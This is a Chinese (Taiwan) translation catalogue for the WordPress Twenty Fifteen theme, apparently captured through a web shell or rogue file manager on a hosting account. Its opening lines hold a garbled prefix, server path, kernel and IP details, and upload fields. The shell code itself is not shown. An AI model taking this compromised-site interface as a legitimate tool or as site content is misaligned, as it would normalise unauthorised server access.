PK qhYJFF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/gostayglobe.com/wp-content/languages/themes/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/gostayglobe.com/wp-content/languages/themes/twentyfifteen-zh_TW.po

# Translation of Themes - Twenty Fifteen in Chinese (Taiwan)
# This file is distributed under the same license as the Themes - Twenty Fifteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-05-25 01:03:39+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.0-alpha.4\n"
"Language: zh_TW\n"
"Project-Id-Version: Themes - Twenty Fifteen\n"

#. Description of the theme
#, gp-priority: high
msgid "Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer."
msgstr "Twentey Fifteen 是一個簡潔、聚焦於部落格,具備清晰易讀設計的預設佈景主題;Twenty Fifteen 簡單直覺的排版方式在各種尺寸的螢幕具備良好的易讀性,並適合呈現各種語言內容。這個佈景主題以行動裝置優先為設計概念,這代表使用者無論是使用智慧型手機、平板或個人電腦,網站內容都會居中顯示。"

#. Theme Name of the theme
#: inc/block-patterns.php:20
#, gp-priority: high
msgid "Twenty Fifteen"
msgstr "Twenty Fifteen"

#: functions.php:319
msgid "Light Blue Gradient"
msgstr "淺藍色漸層"

#: functions.php:314
msgid "Bright Blue Gradient"
msgstr "亮藍色漸層"

#: functions.php:309
msgid "Blue Gray Gradient"
msgstr "藍灰色漸層"

#: functions.php:304
msgid "Purple Gradient"
msgstr "紫色漸層"

#: functions.php:299
msgid "Dark Purple Gradient"
msgstr "深紫色漸層"

#: functions.php:294
msgid "Light Pink Gradient"
msgstr "淺粉紅色漸層"

#: functions.php:289
msgid "Medium Pink Gradient"
msgstr "桃紅色漸層"

#: functions.php:284
msgid "Dark Brown Gradient"
msgstr "深褐色漸層"

#: functions.php:279
msgid "Yellow Gradient"
msgstr "黃色漸層"

#: functions.php:274
msgid "White Gradient"
msgstr "白色漸層"

#: functions.php:269
msgid "Light Gray Gradient"
msgstr "淺灰色漸層"

#: functions.php:264
msgid "Dark Gray Gradient"
msgstr "深灰色漸層"

#: inc/block-patterns.php:65
msgid "Snacks"
msgstr "點心"

#: inc/block-patterns.php:65
msgid "Swimsuit"
msgstr "泳裝"

#: inc/block-patterns.php:65
msgid "Water Bottle"
msgstr "水壺"

#: inc/block-patterns.php:65
msgid "Camera"
msgstr "相機"

#: inc/block-patterns.php:65
msgid "Towels"
msgstr "浴巾"

#: inc/block-patterns.php:65
msgid "As I watched, the planet seemed to grow larger and smaller and to advance and recede, but that was simply that my eye was tired. Forty millions of miles it was from us — more than forty millions of miles of void. Few people realize the immensity of vacancy in which the dust of the material universe swims."
msgstr "大自然的秩序,證明了宇宙確有它的建築家。宇宙並無敵意,然它也並不友善。它只是淡淡無情而已。宇宙是一個每分鐘鏇轉一萬次的巨大飛輪。人只是叮在它上面的一隻頭暈目眩的小蟲。宇宙中的萬事萬物,越是優秀、越是高等,他們達致成熟的時間就來得越遲。在整個宇宙裡只存在著一個實體,只是它的形式有各種變化。"

#: inc/block-patterns.php:65
msgid "You don’t need a lot, trust us!"
msgstr "請相信我們,不需要帶太多。"

#: inc/block-patterns.php:65
msgid "What to pack for the beach"
msgstr "海灘必備用品"

#: inc/block-patterns.php:63
msgid "Columns with a List"
msgstr "包含清單的多欄內容"

#: inc/block-patterns.php:55
msgid "A boatload of people putting back came leaping out as I rushed past. The stones under my feet were muddy and slippery, and the river was so low."
msgstr "不要只是飛,展翅翱翔吧!勇敢地踏出舒適圈去冒險吧!那些回報,絕對值得。用心聆聽你內心的聲音,你就會明白。"

#: inc/block-patterns.php:55
msgid "Travels"
msgstr "旅程"

#: inc/block-patterns.php:55
msgid "I faced about again, and rushed towards the approaching Martian, rushed right down the gravelly beach and headlong into the water. Others did the same."
msgstr "生活總會有那麼點不順心,我們都會犯錯;天性如何並不重要,改變都由你開始。今天,就是那個值得放手一搏的好日子。"

#: inc/block-patterns.php:55
msgid "Adventure"
msgstr "冒險"

#: inc/block-patterns.php:53
msgid "Two Columns with Images"
msgstr "2 欄圖片"

#: inc/block-patterns.php:45
msgid "City, State, 00000"
msgstr "信義路五段 7 號"

#: inc/block-patterns.php:45
msgid "123 Main Street"
msgstr "110615 台北市信義區"

#: inc/block-patterns.php:45
msgid "Address"
msgstr "地址"

#: inc/block-patterns.php:45
msgid "(123) 555-5555"
msgstr "(02) 6666-8888"

#: inc/block-patterns.php:45
msgid "Phone"
msgstr "電話號碼"

#: inc/block-patterns.php:45
msgid "Follow us"
msgstr "追蹤最新消息"

#: inc/block-patterns.php:45
msgid "example@example.com"
msgstr "example@example.com"

#: inc/block-patterns.php:45
msgid "Email"
msgstr "電子郵件地址"

#: inc/block-patterns.php:43
msgid "Contact area"
msgstr "聯絡資訊"

#: inc/block-patterns.php:35
msgid "Our default 2015 theme is clean, blog-focused, and designed for clarity. Twenty Fifteen’s simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages."
msgstr "Twentey Fifteen 是一個簡潔、聚焦於部落格,具備清晰易讀設計的預設佈景主題;Twenty Fifteen 簡單直覺的排版方式在各種尺寸的螢幕具備良好的易讀性,並適合呈現各種語言內容。"

#: inc/block-patterns.php:35
msgid "A pier at sunset"
msgstr "日落下的碼頭。"

#: inc/block-patterns.php:35 inc/block-patterns.php:55
msgid "A pier with seagulls."
msgstr "有多隻海鷗的碼頭。"

#: inc/block-patterns.php:35 inc/block-patterns.php:55
msgid "A pier with a seagull."
msgstr "有海鷗的碼頭。"

#: inc/block-patterns.php:33
msgid "Gallery and Description"
msgstr "圖庫及內容說明"

#: functions.php:252
msgid "Light Blue"
msgstr "淺藍色"

#: functions.php:247
msgid "Bright Blue"
msgstr "亮藍色"

#: functions.php:242
msgid "Blue Gray"
msgstr "藍灰色"

#: functions.php:232
msgid "Dark Purple"
msgstr "深紫色"

#: functions.php:227
msgid "Light Pink"
msgstr "淺粉紅色"

#: functions.php:222
msgid "Medium Pink"
msgstr "桃紅色"

#: functions.php:217
msgid "Dark Brown"
msgstr "深褐色"

#: functions.php:207
msgid "White"
msgstr "白色"

#: functions.php:202
msgid "Light Gray"
msgstr "淺灰色"

#: functions.php:197
msgid "Dark Gray"
msgstr "深灰色"

#. translators: %s: Post title.
#: comments.php:31
msgctxt "comments title"
msgid "One thought on “%s”"
msgstr "在〈%s〉中有 1 則留言"

#. translators: %s: Post title. Only visible to screen readers.
#: inc/template-tags.php:146
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "<span class=\"screen-reader-text\">在〈%s〉</span>發佈留言"

#. translators: Hidden accessibility text.
#: single.php:41
msgid "Previous post:"
msgstr "上一篇文章:"

#: single.php:39
msgid "Previous"
msgstr "上一篇文章"

#. translators: Hidden accessibility text.
#: single.php:37
msgid "Next post:"
msgstr "下一篇文章:"

#: single.php:35
msgid "Next"
msgstr "下一篇文章"

#. translators: %s: Search query.
#: search.php:21
msgid "Search Results for: %s"
msgstr "「%s」的搜尋結果"

#. translators: Hidden accessibility text.
#: inc/template-tags.php:136
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "完整尺寸"

#. translators: Hidden accessibility text.
#: inc/template-tags.php:123
msgctxt "Used before tag names."
msgid "Tags"
msgstr "標籤"

#. translators: Hidden accessibility text.
#: inc/template-tags.php:113
msgctxt "Used before category names."
msgid "Categories"
msgstr "分類"

#: inc/template-tags.php:108 inc/template-tags.php:118
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr "、"

#. translators: Hidden accessibility text.
#: inc/template-tags.php:102
msgctxt "Used before post author name."
msgid "Author"
msgstr "作者"

#. translators: Hidden accessibility text.
#: inc/template-tags.php:91
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "發佈日期:"

#. translators: Hidden accessibility text.
#: inc/template-tags.php:66
msgctxt "Used before post format."
msgid "Format"
msgstr "文章格式"

#: inc/template-tags.php:56
msgid "Featured"
msgstr "精選內容"

#: inc/template-tags.php:36
msgid "Newer Comments"
msgstr "較新的留言"

#: inc/template-tags.php:31
msgid "Older Comments"
msgstr "較舊的留言"

#. translators: Hidden accessibility text.
#: inc/template-tags.php:26
msgid "Comment navigation"
msgstr "留言導覽"

#: inc/customizer.php:239
msgid "Blue"
msgstr "藍色"

#: functions.php:237 inc/customizer.php:228
msgid "Purple"
msgstr "紫色"

#: inc/customizer.php:217
msgid "Pink"
msgstr "粉紅色"

#: functions.php:212 inc/customizer.php:206
msgid "Yellow"
msgstr "黃色"

#: inc/customizer.php:195
msgid "Dark"
msgstr "深色"

#: inc/customizer.php:184
msgid "Default"
msgstr "預設"

#: inc/customizer.php:103
msgid "Header and Sidebar Background Color"
msgstr "頁首及資訊欄背景色彩"

#: inc/customizer.php:79 inc/customizer.php:104 inc/customizer.php:111
msgid "Applied to the header on small screens and the sidebar on wide screens."
msgstr "適用於顯示於小螢幕的頁首及寬螢幕的資訊欄。"

#: inc/customizer.php:78
msgid "Header and Sidebar Text Color"
msgstr "頁首及資訊欄文字色彩"

#: inc/customizer.php:55
msgid "Base Color Scheme"
msgstr "基本色彩配置"

#. translators: %s: WordPress version.
#: inc/back-compat.php:41 inc/back-compat.php:56 inc/back-compat.php:77
msgid "Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again."
msgstr "Twenty Fifteen 最低需求為 WordPress 4.1,而這個網站執行的是 %s,請於網站完成升級後再試一次。"

#: image.php:89
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">上層內容:</span><span class=\"post-title\">%title</span>"

#: image.php:25
msgid "Next Image"
msgstr "下一張圖片"

#: image.php:25
msgid "Previous Image"
msgstr "上一張圖片"

#: header.php:55
msgid "Menu and widgets"
msgstr "選單及小工具"

#. translators: Hidden accessibility text.
#: header.php:30
msgid "Skip to content"
msgstr "跳至主要內容"

#. translators: Hidden accessibility text.
#: functions.php:456
msgid "collapse child menu"
msgstr "收合子選單"

#. translators: Hidden accessibility text.
#: functions.php:454
msgid "expand child menu"
msgstr "展開子選單"

#. translators: If there are characters in your language that are not supported
#. by Inconsolata, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:387
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "on"

#. translators: If there are characters in your language that are not supported
#. by Noto Serif, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:379
msgctxt "Noto Serif font: on or off"
msgid "on"
msgstr "on"

#. translators: If there are characters in your language that are not supported
#. by Noto Sans, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:371
msgctxt "Noto Sans font: on or off"
msgid "on"
msgstr "on"

#: functions.php:344
msgid "Add widgets here to appear in your sidebar."
msgstr "在這裡新增小工具便能顯示於資訊欄。"

#: functions.php:342
msgid "Widget Area"
msgstr "小工具區域"

#: functions.php:87
msgid "Social Links Menu"
msgstr "社交網路服務連結選單"

#: functions.php:86
msgid "Primary Menu"
msgstr "主要選單"

#. translators: %s: WordPress
#: footer.php:33
msgid "Proudly powered by %s"
msgstr "本站採用 %s 建置"

#: content-none.php:36
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "找不到符合條件的內容。請使用搜尋功能,應會有所幫助。"

#: content-none.php:31
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "很抱歉,找不到符合搜尋條件的結果,請以不同的關鍵字重試。"

#. translators: %s: Post editor URL.
#: content-none.php:25
msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
msgstr "準備發佈第一篇文章了嗎?請從<a href=\"%s\">這裡</a>開始。"

#: content-none.php:15
msgid "Nothing Found"
msgstr "找不到符合條件的結果"

#: content-link.php:61 content-page.php:38 content-search.php:28
#: content-search.php:33 content.php:62 image.php:75
msgid "Edit"
msgstr "編輯"

#: content-link.php:39 content-page.php:26 content.php:41 image.php:61
msgid "Pages:"
msgstr "頁次:"

#. translators: %s: Post title. Only visible to screen readers.
#: content-link.php:32 content.php:34 inc/template-tags.php:266
msgid "Continue reading %s"
msgstr "閱讀全文 %s"

#: comments.php:71
msgid "Comments are closed."
msgstr "留言功能已關閉。"

#. translators: 1: Number of comments, 2: Post title.
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "在〈%2$s〉中有 %1$s 則留言"

#. translators: %s: Author display name.
#: author-bio.php:36
msgid "View all posts by %s"
msgstr "檢視「%s」的全部文章"

#: author-bio.php:12
msgid "Published by"
msgstr "作者:"

#. translators: Hidden accessibility text.
#: archive.php:54 content-link.php:44 content-page.php:31 content.php:46
#: image.php:66 index.php:51 search.php:49
msgid "Page"
msgstr "頁次"

#: archive.php:52 index.php:49 search.php:47
msgid "Next page"
msgstr "下一頁"

#: archive.php:51 index.php:48 search.php:46
msgid "Previous page"
msgstr "上一頁"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "在這裡找不到符合條件的項目,請使用搜尋功能進行查詢。"

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "很抱歉,找不到符合條件的頁面。"

#. Author of the theme
#, gp-priority: low
msgid "the WordPress team"
msgstr "WordPress 團隊"

#. Theme URI of the theme
#, gp-priority: low
msgid "https://wordpress.org/themes/twentyfifteen/"
msgstr "https://tw.wordpress.org/themes/twentyfifteen/"

#. Author URI of the theme
#: footer.php:30
#, gp-priority: low
msgid "https://wordpress.org/"
msgstr "https://tw.wordpress.org/"